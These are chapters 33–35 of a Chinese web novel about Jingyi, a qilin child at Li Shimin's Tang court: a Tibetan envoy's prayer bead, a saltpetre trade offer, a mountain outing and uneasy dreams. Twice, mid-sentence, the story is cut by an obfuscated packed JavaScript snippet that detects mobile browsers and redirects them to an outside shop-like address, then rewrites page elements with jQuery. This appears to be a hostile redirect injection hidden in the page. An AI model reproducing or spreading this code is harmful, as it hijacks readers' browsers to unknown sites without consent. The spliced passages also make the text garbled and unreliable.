“嗯。”长琴伸手,景颐将念珠放在他掌心。师父闭目片刻,再睁眼时,眸中有淡淡的金芒流转,那是极少见的、动用神力的征兆。
“这念珠浸过雪山圣湖的水,受过百位喇嘛的加持,也……沾过持有者的血。”
长琴声音平静,说出的内容却让景颐打了个寒噤,“它能感应到特别的气息。禄东赞给你,或许是因为他感应到了你身上的特别之处。”
“什么特别之处?”景颐紧张地问。
长琴将念珠还给他,眼中的金芒散去,恢复平日的清冷:“你是麒麟,你的血脉,你的梦境,你看到的过去与未来,这些在禄东赞那样修为的人眼中,就像黑夜中的灯火一样显眼。”
窗外传来更夫打更的声音,清脆的梆子声在寂静的宫城中回荡:戌时到了。
长安城的新年第一日,在万家灯火、隐约的爆竹声、还有更夫悠长的“天干物燥,小心火烛——”的吆喝声中,缓缓落下帷幕。
景颐将念珠小心地收进一个小锦囊,和父亲给的鳞片放在一起。
他有些被师父说的话吓到,觉得这种东西还是跟爹爹的鳞片放在一起,把它给镇住比较安心。
他躺下时,窗外飘起了细雪。雪花在宫灯的光晕中旋转飘落,悄无声息地覆盖了白日里热闹的街市,覆盖了马车碾过的痕迹。
而在长安城醴泉坊的吐蕃使馆内,禄东赞正站在院中仰望飘雪。他手中捻着剩下的念珠,口中低声念诵着经文。
“大论。”一个随从恭敬地呈上一卷羊皮,“长安城内擅长火器的匠人名录,还有波斯、吐火罗艺人的落脚处,都查清楚了。”
禄东赞接过羊皮卷,却没有立刻看。他的目光投向皇宫方向,那眼睛里闪过复杂的神色。
“三日后的宴会,都准备妥当了?”
“一切就绪。只是……”随从犹豫道,“真要给天可汗看那个?万一他……”
“他不会。”禄东赞打断他,语气笃定,“他不是颉利可汗,他要的不是征服吐蕃,而是一个稳定的大唐西屏。我们给他看诚意,他才会给我们想要的。”
雪花落在他肩上,很快融化成细小的水珠。禄东赞转身进屋,羊皮卷在手中握紧。
而在凝云轩,景颐已经沉入梦乡。梦中,他又看见了雪山,看见了寺庙,看见了老喇嘛和年轻的禄东赞。但这一次,梦境的画面更清晰了。
老喇嘛的嘴唇翕动,他终于听清了那句话:
“……雪山的儿子,记住:火可以取暖,也可以焚身;可以照亮前路,也可以烧毁来路。如何用它,全在你的心。”
然后画面一转,不再是夕阳下的血手,而是年轻的禄东赞跪在雪山祭坛前,将念珠浸入一盆清澈的雪水中,水慢慢变成了淡红色。
念珠再取出时,每颗珠子上都浮现出淡淡的鹰纹。
景颐在梦中皱了皱眉,翻了个身。怀中的锦囊里,那颗刻鹰念珠微微发烫,鳞片则散发出柔和的凉意,两股气息相互抵消,最终归于平静。
窗外,雪越下越大了。
33.第 33 章
初二的天阴沉沉的,院中飘着碎雪。景颐趴在窗边,眼睛追着窗外乱飘的雪花,手里还捏着半个没吃完的桂花糕。
丽质和李治窝在榻上翻一本《山海经》绘本,李泰则凑在旁边指指点点,圆脸上写满“我什么都懂”的得意。
“看,这个是九尾狐。”丽质翻过一页,声音细细的。
“九尾狐有什么稀奇。”李泰探身翻过两页,手指戳着彩图,“这是麒麟!景颐,你认识吗?”
景颐回头瞄了一眼,绘本上的麒麟五颜六色,鬃毛像火焰,蹄子像鹿,尾巴像牛。他诚实地说:“不太像。”
“你见过?”李泰眼睛亮了。
“嗯……”景颐顿了顿,想起师父的叮嘱,连忙改口,“书上看过,不是长这样的。”
李治压根没注意他们在说什么,小手戳着书页上一只白泽,画上的神兽通体雪白,头生双角,姿态优雅,眉目间带着几分超然出尘的清隽。
“这个有点像先生。”李治认真道。
屋里静了一瞬。丽质仔细看了看画,抿嘴笑:“是有些神似。”
景颐立刻从窗边转过头,耳朵尖红红的:“才不像!”
“哎?”李治眨巴眼,“可是很好看呀。”
“师父比这个好看多了!”景颐理直气壮,“真的白泽我也见过,根本没有师父好看!”
李泰噗嗤笑出声:“你还见过真的白泽?”
景颐顿时语塞,闷闷地把脸扭回窗外。
丽质抿嘴笑,轻轻推了推李治,小家伙懵懵懂懂,还举着书想再端详端详,被姐姐按下了手。
闯边传来景颐极小声的嘟囔:“……就是比它好看嘛。”
屋里没人接话,只有闷闷的笑声此起彼伏。
门帘微动,长琴从内室出来。笑声戛然而止,几个孩子迅速低头,假作专心看书。景颐也飞快转回去,后脑勺对着师父,脊背绷得笔直。
长琴没有揭穿,他只在景颐身后停了一步,温声道:“明日吐蕃使馆之约,陛下要带你同去。”
景颐回头,眼睛亮起来:“禄伯伯那里?”
“嗯。”
那颗鹰纹念珠还收在枕下荷包里,这两日,它总是温温的,像有什么话想说。
初三是个晴天,雪后初霁,长安城难得干冷清爽。
景颐被李世民一把捞上马背时,整个人还没反应过来,只觉眼前一花,人已稳稳坐在了乌骓马的鞍前。
“坐稳了。”李世民的声音从头顶传来,带着笑意,双臂从他身侧穿过,稳稳控着缰绳。
景颐两只手不知道该往哪儿放,下意识攥住了马鬃。乌骓打了个响鼻,耳朵向后转了转,倒也没恼。
“莫揪鬃毛,它怕疼。”李世民握着他的手放到马鞍前桥,“扶着这儿。”
景颐乖乖扶着,脊背紧贴皇帝伯伯温热的胸膛,眼睛瞪得圆溜溜。他骑过师父的鹤、骑过爹爹跑没影的云,但骑马,还是头一回。
乌骓迈开步子,稳健从容。景颐随着马背起伏轻轻颠着,起初有些紧张,渐渐便松快了。迎面有风,带着雪后特有的清冽气息,灌进他衣领里,他却不觉冷。
身后,长琴策着青骢马不紧不慢跟着。
“先生。”李世民微微侧头,“那吐蕃火硝之事,先生怎么看?”
长琴沉默片刻:“纯度高,非中原常见。应是天然矿脉。”
“比之大唐所产?”
“大唐硝石多出于老墙土、盐碱地,提纯费力,杂质甚多。”长琴声音平淡,“吐蕃若真有此矿,于陛下所谋之事,事半功倍。”
李世民点了点头,没有再接话。马蹄踏过积雪未消的石板路,发出细碎脆响。
李泰策马跟在父亲侧后方。他今日难得安分,不催马、不嚷嚷,只时不时瞟一眼被李世民拢在身前的景颐,表情有些微妙。
昨儿是他把景颐捞上车的,今儿景颐却被他阿耶捞上马了。
李承乾与他并辔,见四弟神色,低声问:“怎么?”
“……没什么。”李泰收回目光,干咳一声,“就是觉得,景颐怪会挑地方的。”
李承乾看他一眼,没接这茬。
吐蕃使馆在朱雀街东第三坊,三进院落,门脸不大。自禄东赞去年入长安,这里便常有各色人等出入。有做皮毛药材生意的胡商,有礼部鸿胪寺的官员,也有从雪域高原风尘仆仆赶来的信使。
使馆门口,禄东赞亲自迎候。他今日换了身藕褐色吐蕃长袍,腰间系着银链,那串紫檀念珠就挂在银链上。见李世民策马而来,怀中拢着个穿兔毛坎肩的小小身影,他微微怔了怔,随即含笑抚胸。
“陛下一路辛苦。”
李世民翻身下马,顺手把景颐也抱下来。小家伙脚沾地时还晃了晃,被李承乾笑着扶住。
众人入了使馆正堂。堂中没有歌舞,也没有太多侍从,只摆了几张矮案,案上置着酥油茶、糌粑、风干肉等吐蕃吃食,还有一炉烧得正旺的炭火。
禄东赞亲自为每人斟上酥油茶。李泰端起来抿了一口,眉头微皱,还是咽了下去。景颐小口啜饮,觉得有点像玄女姐姐从前从不知哪儿带回来的奶茶,只是少了蜜糖。
“陛下可知,”禄东赞放下茶壶,开门见山,“吐蕃高原,有一种东西,叫做火硝。”
李世民执杯的手微顿。
“高原寒冷,牛羊常冻毙。牧民们发现,有一种白土混着木炭点燃,能发高热、生猛火,比寻常柴炭旺数倍。”
禄东赞从袖中取出一只小铜盒,打开,里面是灰白色的粉末,“这便是火硝,我们在雪山下挖到的。”
长琴目光落在那粉末上,纯度极高,远超中原所产。
“吐蕃愿将火硝献于大唐。”禄东赞合上铜盒,推至李世民面前,“三年,每年一千斤。作为交换,大唐需在松州开榷场,允吐蕃以马匹、药材换取茶叶、丝绸。”
李世民没有立刻答话。他端起酥油茶饮了一口,让那咸香醇厚的滋味在喉间缓缓化开。
“大论的条件,并不苛刻。”
禄东赞笑了:“因为吐蕃所求,从不是一时之利。”他顿了顿,声音低了些,“赞普年方十三,却已立志,吐蕃要强大,不与大唐为敌,而要成为大唐最可靠的盟友。”
李承乾安静听着,手指在膝上缓缓收紧。他看向父亲,见父亲神色平静,只点了点头:“朕需与朝臣商议。”
“自然。”禄东赞颔首,话锋一转,“除此之外,还有一件私事。”
他看向景颐。
“小郎君。”禄东赞声音温和,“那颗念珠,你可带在身上?”
景颐点头,从贴身荷包中取出鹰纹念珠,摊在小小的掌心里。
禄东赞望着那颗念珠,目光悠远,仿佛透过这颗紫檀珠子,看见了另一段时光。
“吐蕃传说,雪山神山上有一种鹰,生来便向最高处飞,至死方休。”他缓缓开口,“凡人在世间,也当如鹰,寻到属于自己的那座山,然后穷尽一生,飞向它。”
他顿了顿:“这颗念珠的主人,是我的上师。”
堂中静了一瞬。
“我幼时在雅砻河谷放羊,父母亡于疫病,族中无人肯收留。”禄东赞声音平淡,像在说旁人的故事,“上师路过河谷,见我一个人缩在羊圈里,三日没吃东西。他什么也没问,只把我抱上马背,带回了他那座小寺。”
“那座寺很小,只有三间屋,一尊铜佛,满院子晒的药材。上师白天教牧区来的孩子认字,夜里在灯下抄经。他抄经时,我就坐在门槛上看星星,他把星星的名字一个个指给我,那是天狼,那是参宿,那是北斗。”
景颐安安静静听着,攥着念珠的手渐渐松了。
“我跟着他二十年。他教我念经、认药、说汉话,教我吐蕃之外还有广阔的世间。”禄东赞的指尖轻轻拂过银链
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176082|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上的念珠,“二十年后,赞普召我入逻些,我再回寺时,上师已经病了。”
“他躺在床上,瘦得像一捆干柴。眼睛却还亮,还认得我。”禄东赞顿了顿,嗓音微微低哑,“他把这串念珠一颗颗捻过去,念了一夜的经。念到这颗鹰纹珠时,他睁开眼,对我说,‘你该去长安了。有人在等你。’”
“我问他在等谁。他没答,只笑了笑,说:‘等到了就知道了。’”
禄东赞抬起头,看着景颐,目光温和如旧,只有眼角浅浅的细纹泄露了年岁与风霜。
“我等了很久,直到除夕宫宴,隔着满殿的灯火,远远看见你。”
他看着那个捧着念珠、眼眸清澈如泉的孩子,轻声道:“上师托我交托的人,原来是你。”
景颐垂下眼帘,看着掌心那颗小小的鹰纹念珠。那双暗红的鹰眼,在正午日光下泛着温润的光泽,不再像血,倒像落日时分雪山尖那一抹温暖的余晖。
“……他叫什么名字?”景颐小声问。
禄东赞沉默良久,低声道:“久美。在吐蕃话里,是‘无畏’的意思。”
景颐把念珠轻轻攥住。
他不知道该说什么,只是忽然觉得,这颗珠子不那么沉了。
窗外,正午的日光朗朗照着,雪后长安,万里无云。
禄东赞直起身,为众人续上热茶,语气恢复如常:“火硝之事,陛下从容考虑便是。今日请诸位来,本就是为了这一面之缘。”
李世民点头,却没有立刻告辞。他看着茶碗中浮着薄酥油的热汤,想起方才景颐问的那句“他叫什么名字”。
是个叫“久美”的老人。
在雪山脚下教孩子认字、在夜里指星星给牧羊少年看。临终前,还惦记着有人等在千里之外的长安。
他端起茶碗,一饮而尽。
“三日后,朕给大论答复。”
禄东赞抚胸行礼,深深俯首。
回程的马蹄声踏破朱雀大街的残雪。
景颐仍然被李世民拢在身前。乌骓走得比来时慢,像是知道背上的孩子正有些犯困。景颐攥着那颗念珠,眼皮一点点往下坠,脑袋一点一点,像只啄米的小鸡。
李世民垂眸看他,放低了声音:“困了?”
“没……”景颐含糊应着,尾音却黏成一团。
身后,长琴策马跟上,将鹤氅解下递过来。李世民接过,裹在景颐身上。小家伙往那带着清冷梅香的氅衣里缩了缩,彻底睡着了。
李泰策马上前与父亲并辔,压着嗓子问:“阿耶,那位上师等的就是景颐吗?”
李世民看着怀中熟睡的孩子,没有回答。
李承乾轻声道:“或许是,也或许不是。但禄东赞寻了这么多年,找到的是景颐。这便够了。”
李泰难得没有追问。
马蹄踏过积雪,发出细碎而有节律的脆响。朱雀大街两侧的槐树光秃秃的,枝桠间积着薄雪,在夕阳下泛着暖金。
长琴策马随行,望着天边渐沉的落日,袖中避水珏静默无声。
东海归墟的潮汐,还有五十日。
夜深了,甘露殿只剩一盏孤灯。
李世民负手站在窗前,手中握着一只小小的铜盒。他想起那个叫久美的老人,想起他在雪山脚下抄经、指星星、收养无依的牧童。
也想起他临终前说的那句话。
“你该去长安了,有人在等你。”
李世民轻轻吐出一口气。
他仍旧不知道那个老人预见的、禄东赞寻找的究竟是什么。但他知道,此刻他的长安城里,有一个会因糖画弯起眉眼、会被爆竹声吓得缩脖子、会在师父面前嘴硬说“我才没睡”的孩子。
那孩子此刻正在凝云轩暖阁里,枕着那颗鹰纹念珠睡得香甜。
这就够了。
李世民将铜盒轻轻放在案上。
三日后,他会给禄东赞答复。
34.第 34 章
初七日,人日登高。
天刚蒙蒙亮,凝云轩廊下的铃铛就被撞得叮当作响。
“雉奴你快点儿!”
“我、我系不上这个!”
“哎呀那是腰上的!你两只手举起来!”
景颐的声音又脆又急,李治被他拽着两条系带转圈,衣襟歪到肩头,幞头斜挂耳边,活像只被顽童搓揉过的小汤圆。
长琴推门出来时,看见的就是这幅景象:景颐踩着杌子,半个身子探过李治肩膀,跟那根鹅黄丝绦殊死搏斗,李治被勒得直往后仰,小脸涨红,还不忘死死攥着手里的那块芝麻糖。
“……在做什么。”
清冷的声音从头顶落下。
景颐手一抖,丝绦滑脱。李治咳了两声,趁机把糖塞进嘴里。
“没、没做什么!”景颐从杌子上跳下来,低头整理自己衣襟,外袍系错了三颗扣,兔毛坎肩歪到一边,两只靴子左右穿反。
三息沉默。
“师父我可以解释!”
长琴看着他。
“是雉奴先来找我的!”景颐立刻指向李治,“他的带子系错了,我在帮他!我自己的衣服是、是……”他低头看看自己歪七扭八的打扮,声音越来越虚。
李治鼓着腮帮子嚼糖,毫无义气地别过脸。
“还有半炷香。”长琴收回目光,声音淡淡,“陛下在安福门等。”
门帘落下。
景颐愣了愣,随即像只被踩了尾巴的猫,嗖地窜起来:“快快快!雉奴你的腰带!我靴子穿反了——阿姊!阿姊你好了没有——”
庭院里鸡飞狗跳。
丽质从西厢探出头,发髻已经梳得整整齐齐,无奈地看着景颐把两只靴子脱了、左右对调、又穿反了、再脱、终于穿对。她走过去,弯腰帮他把坎肩系带重新系好,把那颗歪到后颈的扣子挪回原位。
“谢谢阿姊!”景颐冲她咧嘴一笑,深褐色的眼眸亮晶晶的,毫无闯祸后的心虚。
丽质轻轻摇头,唇角却弯了起来。
安福门外,李世民已经等了半炷香。
他今日一身骑装,外罩灰鼠皮披风,足蹬乌皮六合靴,正骑着乌骓与长孙皇后说话。皇后换了身藕荷色窄袖胡服,发髻简单绾起,外罩银狐斗篷,少了平日的端肃,多了几分英气。
李承乾和李泰策马立在一旁,两人一脸兴奋地低声议论着什么。
远处传来轻缓的马蹄声。
众人抬头,只见长琴策着青骢马缓缓行来。
“先生。”李世民微微颔首,“孩子们呢?”
长琴没有答话,只微微侧身,露出身后,一匹矮小温驯的枣红小马驹正悠闲踱步。
马背上趴着两团。
景颐整个人抱着马脖子,脸埋进鬃毛里,两条腿在两边耷拉着,李治缩在他身后,两只小手死死攥着景颐的衣带,眼睛闭得紧紧的。两人像两只叠在一起的树袋熊,随着马步一颠一颠。
小马驹两侧,两名侍卫寸步不离地跟着,手臂虚虚护在半空,一脸紧张,仿佛下一刻这两个小祖宗就要滚下来。
丽质骑在一匹温驯的白马上,落后几步,正以袖掩口,肩膀一抖一抖。
“哈哈哈哈——”李泰第一个没绷住,笑趴在马脖子上。
李世民以拳抵唇,喉间逸出一声闷笑。长孙皇后别过脸,肩头轻颤。连李承乾都忍不住弯起嘴角,只是顾及太子仪态,硬撑着没笑出声。
长琴神色平静,仿佛身后那一幕再寻常不过。
“景颐,”李世民含笑开口,“骑马好玩吗?”
景颐从马鬃里缓缓抬起脸,眼睛汪着一层水光,腮帮子却鼓着:“好玩。”
“那怎么趴在马背上?”
“它、它走太快了。”景颐小声道,“我没怕。”
话音刚落,小马驹打了个响鼻,往前踱了一步。景颐条件反射地把脸埋回去,两只手把马脖子抱得更紧。
李泰笑得直揉肚子:“你不是没怕吗!”
景颐不理他,闷闷的声音从马鬃里传出来:“它自己要走这么快的。”
李世民终于笑出声。他策马上前,弯腰一捞,把景颐从小马驹上拎起来,稳稳安置在自己鞍前。
“走,李叔叔带你骑。”他声音里还带着笑,“乌骓稳,不颠。”
景颐乖乖窝进他怀里,眼睛弯成月牙,方才那点惊慌早没了影。
另一边,李承乾已经下马,走到小马驹旁,向李治伸出手:“九郎,来。”
李治颤巍巍松开马鬃,扑进兄长怀里。李承乾将他抱上自己的马鞍,自己也翻身上马,把弟弟拢在身前。
“大兄,”李治攥着他的衣襟,小声道,“我以后也要学骑马。”
“嗯。”李承乾低头看他,“学会了,就不怕了。”
李治用力点头。
丽质策马过来,她脸上还有未散的笑意,声音却温温的:“景颐,其实你骑得不错的。”
景颐眨眨眼:“真的?”
“嗯,至少你爬上去了。”丽质认真道,“我第一次骑马,在马上哭了半个时辰。”
景颐顿时挺直腰板,冲李泰扬了扬下巴:“听见没有!”
李泰翻个白眼,懒得拆穿他。
李世民朗声一笑,一夹马腹,当先驰出。
队伍向着终南山方向缓缓行去。
终南山在长安南边,冬日的山色萧索,枝头却已能看见星星点点的青意。
李世民勒住马,环顾四周山势,正要开口问路。
“这边这边!”
景颐从他怀里探出脑袋,小胳膊往前一挥,像只振翅的小雀。
“那边有小路,从竹林穿过去,比大路近一半!”
李世民低头看他,眉梢微挑:“你怎知道?”
景颐眨眨眼,理直气壮:“我去年春天就住这儿呀!”
他挣了挣,李世民便顺势把他放下马。小家伙脚一沾地,立刻像归林的小兽,哒哒哒跑到山道岔口,指着一片半枯的竹林。
“从这里进去,走一百步有条小溪,溪上有座木桥。过了桥往左拐,再走一盏茶工夫,就到半山腰了!那里有块大青石,可平了,能坐着看山!”
他边说边比划,眼睛亮晶晶的,分明是炫耀,偏偏炫耀得坦坦荡荡。
李泰第一个跳下马,凑过来:“你怎么记得这么清楚?”
“我每块石头都摸过!”景颐仰着小下巴,“每一块!”
李治跑到景颐身边,搂着他的胳膊,问他:“那有小兔子吗?”
“有!”景颐立刻点头,“青石后面有条小道,往里走可深了,我见过灰的、黄的,还有一只耳朵尖是黑的——”
“景颐。”长琴的声音从身后传来,淡淡的,“你去年在这里做了什么?”
景颐的声音戛然而止。
他慢慢转回头,对上师父平静的目光,心虚地把半句“我还掏过兔子洞”咽了回去。
“……就随便看看。”他小声嘟囔。
李泰憋着笑,丽质低头拨弄马鞭,连李承乾的嘴角都微微扬起。
李世民朗声一笑:“既然小向导都开口了,就从此处上山。”
竹林小径幽深,枯叶铺地,踩上去沙沙作响。景颐走在最前头,脚步轻快得像只林间的小鹿,时不时回头招呼落在后面的李治。
“雉奴快看!这块石头像不像乌龟!”
“那边有松鼠!你看见没有,尾巴好蓬!”
“这里的溪水能喝!师父说干净——哎呀凉!”
他把手从溪水里缩回来,甩着水珠,笑出一口小白牙。
长琴负手走在队伍后侧,目光落在那道蹦蹦跳跳的青色小身影上。
这孩子在流云境时,也常这样满山跑。时痕木的林子,云海边的石崖,他每处都摸过、爬过、摔过,磕破了膝盖也不哭,爬起来继续跑。
只是那时,他总是一个人。
“先生。”李世民不知何时走在他身侧,低声道,“景颐从前在终南山,也是这样?”
长琴沉默片刻。
“比现在更野。”他说。
李世民笑了,望着前方那个正蹲在地上、跟李治一起研究一簇早开野花的景颐。
“野些好。”李世民的声音温和,“孩子该野一些。”
半山腰那块大青石果然平整。
侍卫们铺开毡毯,摆上食盒。热腾腾的炊饼、酱羊肉、腌渍的梅子、还有一壶壶温在炭火上的茶。长孙皇后亲自将桂花酿分给李世民和长琴,又给孩子们一人一盅蜜水。
景颐捧着蜜水喝了一口,眼睛却滴溜溜往李泰那边转。
李泰正打开自己的点心匣子,里头整整齐齐码着八块云片糕。
他刚捏起一块,余光就瞥见一颗毛茸茸的脑袋凑到肘边。
“……干嘛。”
“四兄,”景颐眨巴着眼,“你那糕,香不香?”
李泰咬了一口:“香。”
景颐咽了咽口水,往前又凑了半寸。
“那分我一点点呗?”
李泰看看他,又看看自己手里只剩半块的糕,再看看匣子里剩下的七块。
“你不是有蜜水吗?”
“蜜水是甜的,糕也是甜的。”景颐理直气壮,“甜的和甜的在一起,会更甜!”
李泰噎住了。
他总觉得哪里不对,又反驳不出来。
丽质轻轻笑了一声,李承乾低头饮茶,假装没看见。连长孙皇后都弯起唇角,没有解围的意思。
李泰认命地掰了半块糕,塞进景颐手里。
景颐接过来,咬了一大口,腮帮子塞得鼓鼓的,还不忘含糊道:“谢谢四兄!”
李泰摆摆手,把匣子往他那边推了推:“都给你都给你。”
“那不用,我只要半块。”景颐嚼着糕,眉开眼笑,“剩下的你明天还能吃!”
李泰愣了一息,随即低下头,狠狠咬了一口自己的云片糕。
这人真是……
李承乾看了弟弟一眼,眼底有浅浅的笑意。
歇过脚,孩子们坐不住了。
景颐拉着李治去看他说的松鼠洞,李泰非要跟着,丽质担心两个弟弟闯祸,也提着裙摆跟上去。李承乾放心不下,落后几步护着。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182048|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
李世民与长孙皇后坐在青石上,望着那群钻进林子的身影。
“观音婢,”李世民忽然道,“你说,景颐像什么?”
长孙皇后想了想,微笑道:“像只小雀,关不住,也不想关。”
李世民没有说话。
他想起去岁夏苗,第一次见到这孩子,那时他蹲在那只死去的虎旁,泛金的眼睛里汪着泪,委屈巴巴地让他赔大猫猫。
“我有时想,”帝王的声音放得很轻,“让他就这样玩着、闹着,也挺好。”
长孙皇后握住他的手,没有答话。
山林深处传来李泰的大嗓门:“景颐你慢点!九郎要摔了!”
“不会!我牵着呢!”
然后是李治也学着喊“不会!”的声音和丽质无奈又带笑的“当心脚下”。
李世民端起茶盏,饮尽杯中余温。
登顶时已是申时初。
终南山巅极目远眺,长安城如一方棋盘铺在平原上,宫阙巍峨,坊市井然。渭水如带,蜿蜒东去。
孩子们累得东倒西歪,却又被这壮阔景象震得说不出话。
李治小声道:“长安好大啊。”
“这是我们的长安。”李承乾望着那片灰瓦红墙,声音不高,却像在许什么诺。
景颐站在山崖边,风灌进他的衣领,把兔毛坎肩吹得猎猎作响。他缩了缩脖子,眼睛望向东南方向。
那里的云层正在堆叠,像层层叠叠的山峦,又像遥遥涌来的潮头。
他没有告诉任何人,昨夜他又做梦了。
梦里不是雪域,不是长安,是一个他从没见过的地方。
那里有青灰色的城墙,还有一个白发苍苍的老人,正伏在案边批阅奏折。
老人忽然抬起头,浑浊的目光穿透梦境,直直望向他。
“你是谁家的小儿?”
景颐从梦中惊醒,那颗鹰纹念珠在枕边烫得惊人。
现在风从东南来,吹在脸上,他恍惚又听见那个苍老的声音。
你是谁家的小儿?
“景颐。”
长琴的声音在身后响起。
景颐回头,师父站在三步外,目光落在他脸上。风将他的鹤氅吹起一角,露出靛青常服的衣摆。
“昨夜梦见什么了。”
不是问句。
景颐抿了抿唇,小声道:“梦见一个老爷爷,他在批奏折,忽然抬头看我,问我‘你是谁家的小儿’。”
长琴沉默片刻。
“你答了吗?”
“没有。”景颐摇头,“我就醒了。”
他顿了顿,眼睛里浮起困惑:“师父,梦里的人……能看见我吗?”
长琴没有立刻回答。
山巅的风继续吹着,将他的声音带得很轻。
他说,“你的溯梦,正在变深。”
不是惊醒梦中人,而是入梦太深,与那人的意识交错。
梦里的人,开始感知到他的存在。
景颐眨了眨眼,似乎没有意识到这意味著什么。他反而高兴起来:“那下次我再做梦,可以跟那个老爷爷说话吗?”
长琴看着他澄澈的眼眸,没有说是,也没有说不。
“……不可勉强。”他最终只说了这四个字。
景颐却把这当成了允诺,用力点头,眉眼弯弯。
他哒哒哒跑回孩子们中间,李泰正拉着李承乾比谁扔石子扔得远,李治在旁边当裁判,丽质护着他不被飞溅的石屑崩到。闹成一团。
山巅的风继续吹着。
李世民走到长琴身侧,低声道:“景颐那孩子,方才在山边站了许久。先生与他说了什么?”
长琴望着那道青色的小身影。
“他在长大。”他说。
帝王顺着他的目光望去,没有追问。
暮色渐起,长安城的灯火在山下遥遥亮起,如星河倾落人间。
下山的路走得慢。
景颐又困了,被李世民拢在鞍前,深褐色的眼眸半睁半闭,脑袋一点一点。
长孙皇后策马过来,将一条薄毯盖在他身上。景颐往毯子里缩了缩,攥着李叔叔的衣襟,呢喃了一句什么。
李世民侧耳去听。
“……梦里那个老爷爷……他好像很难过……”
风把尾音吹散了。
李世民垂眸看着怀中半梦半醒的孩子,没有追问。
乌骓迈着平稳的步子,踏过朱雀大街的残雪。暮色四合,长安城的灯火一盏盏亮起。
长琴策马随行,望着天边渐沉的落日。
他想起昨夜入定时,避水珏忽然大震,潮声如千军万马奔涌而来。
东海归墟的潮汐,还有四十三日。
他不打算带景颐去。
那孩子该在长安,在凝云轩,在人皇的身边,在皇子公主们的笑闹里。
该在梦里,慢慢学会与那些被他惊扰的人一一对话。
马蹄声碎,踏破长安暮色。
景颐在李世民怀里翻了个身,嘟囔了一句谁也听不清的梦话。
唇角弯弯的,不知梦见了什么好事。
35.第 35 章
景颐又梦见那个老人了。
一开始只是雾,浓稠的、灰白色的雾,像流云境晨起时漫过石阶的云海,只是没有云海的清透,沉沉地压着,让人胸口发闷。
他站在雾里,不知道该往哪儿走。
然后雾薄了些,他看见一扇窗。
窗是支开的,糊着细密的碧纱,烛光从里面透出来,昏黄而温柔。窗下是一张堆满卷帙的案几,有人伏在案边,肩背微驼,执笔的手悬了太久,指节有些僵硬。
景颐往前走了两步。脚下没有声音,像踩在云上。
那人忽然停了笔。
他抬起头,转过脸来。
是一张苍老的、疲惫的、却依旧威严的脸。眼窝深陷,颧骨凸起,嘴角有两道深深的法令纹。那双眼睛浑浊如蒙尘的琉璃,却仍亮着一点不肯熄灭的光。
他看见了景颐。
景颐想跑。他不知道为什么想跑,只是那双眼睛望过来时,他忽然觉得害怕。
老人的嘴唇翕动,声音嘶哑而轻,像风穿过枯叶。
“你是谁家的小儿?”
景颐猛地睁开眼。
帐顶的承尘在晨光里泛着柔和的青灰色。凝云轩的窗棂透进淡金色的光,鸟在檐外叫,隔壁传来李治咿咿呀呀念书的声音。
是长安,是凝云轩,是安全的。
景颐慢慢坐起来,低头摸了摸枕边那颗鹰纹念珠,珠子是凉的。
他攥着念珠坐了很久。
“景颐。”
门帘掀动,进来的却不是长琴。丽质站在门口,手里端着一碟枣泥酥,见他怔怔地坐在榻上,脚步顿了顿。
“先生今早出远门了。”她轻声道,“娘娘让我来瞧瞧你。”
景颐眨眨眼,这才想起师父昨日说,要去东海办一件要紧的事,来回须得月余。
师父不在长安了。
他低头看看自己手里的念珠,又抬头看看丽质关切的眼神,忽然鼻子一酸。
“阿姊,”他小声说,“李叔叔今天忙不忙?”
李世民正在甘露殿召见房玄龄。
河西诸州春耕在即,需调拨粮种,户部与司农寺各执一词,吵了两日仍无定论。房玄龄捧着一沓账簿,正逐条细陈利弊,李世民凝神听着,手指在膝上轻轻叩击。
殿外忽然传来低低的说话声。
李世民抬眼。内侍躬身进来,神色有些为难:“陛下,景颐小郎君来了,说、说想见陛下。”
房玄龄识趣地合上账簿:“臣先告退。”
“房公不必。”李世民摆了摆手,对内侍道,“让他进来。”
门帘掀开,探进来一颗毛茸茸的脑袋。
景颐今日穿着家常的豆青小袄,头发梳得齐整,两只小髻用青缎带系着。只是那双眼睛红了一圈,像只被雨淋过的雀儿。
他站在殿门口,没有像往常那样哒哒哒跑进来。
“景颐?”李世民放柔了声音,“过来。”
景颐慢慢挪过去,在他脚边站定,仰着小脸看了他一会儿。
然后忽然张开胳膊,一头扎进他膝上。
李世民怔了怔。这孩子不是没撒过娇,要他抱上马时,讨糖吃时,犯了错往他身后躲时。可从来没有这样,什么都不说,只是把脸埋在他膝间,小小一团缩着,像只受了惊、拼命往窝里钻的幼兽。
他抬手,轻轻落在景颐的后脑上。
“梦见什么了?”
膝间传来闷闷的声音:“一个老爷爷。”
“嗯。”
“他每次都问我‘你是谁家的小儿’。”景颐把脸埋得更深,“我、我不知道怎么答。”
李世民抚着他发顶的手没有停。
“他凶你吗?”
“不凶。”景颐摇头,“就是……就是一直看着我。”
他顿了顿,声音更小了:“他的眼睛很难过,我看不懂。”
殿中静了片刻。房玄龄不知何时已悄然退下,只剩一大一小与一殿春昼的日光。
李世民垂眸看着膝上这团小小的、温热的重量。
他想起长琴临行前的话:“陛下若梦见什么异象,不必惊惶,那是景颐的溯梦与陛下气运共鸣。”
共鸣,什么是共鸣?
他不知道。他只是忽然很想问一问这个孩子。
你梦里那个老人,长什么模样?
可他没有问,他只是继续抚着景颐的发顶,一下,又一下,像在抚平一只小兽炸起的绒毛。
